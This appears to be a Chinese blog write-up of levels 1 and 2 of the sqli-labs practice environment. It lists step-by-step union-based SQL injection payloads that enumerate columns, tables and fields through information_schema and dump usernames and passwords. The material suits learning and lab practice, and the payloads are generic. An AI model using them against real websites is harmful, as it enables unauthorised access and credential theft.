sqli-labs第一关
判断是否存在sql注入

可见,根据输入数字的不同,结果也不同


判断sql语句是否是拼接,且是字符型还是数字型


由上可见,这关指定是字符型且存在sql注入漏洞
使用联合注入
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+


第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+

第三步:获取当前数据名和版本号。
?id=-1'union select 1,database(),version()--+

第四步: 爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

第五步:爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs第二关

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

加注释还是提示报错,证明是数字型

进行一个联合查询。?id=-1 union select 1,2,3 --+

使用order by 1到order by 4发现order by 4时查看到列数只有四个。

接着查看它的数据库名字和版本号在实战中就可以用以在网上查找该版本相应的漏洞之类的。?id=-1 union select 1,database(),version()--+,查看到数据库名为security,版本为5.7.26.

再查找出在MySQL自带库information_schema中存在的table表(表名)则通过?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+查询出表名。

或者输入?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+。其效果也是一样

然后我们继续深入查看users这张表,输入?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+。发现其中包含有username和password这两张我们的最终目的表。

最后查询这两张表中的数据拿到我们想要的用户名和密码,输入?id=-1 union select 1,username,password from users where id=2 --+




















![[米联客-安路飞龙DR1-FPSOC] UDP通信篇连载-02 MAC层程序设计](https://i-blog.csdnimg.cn/direct/100278d266f54d9d890c5623592d1ce8.png)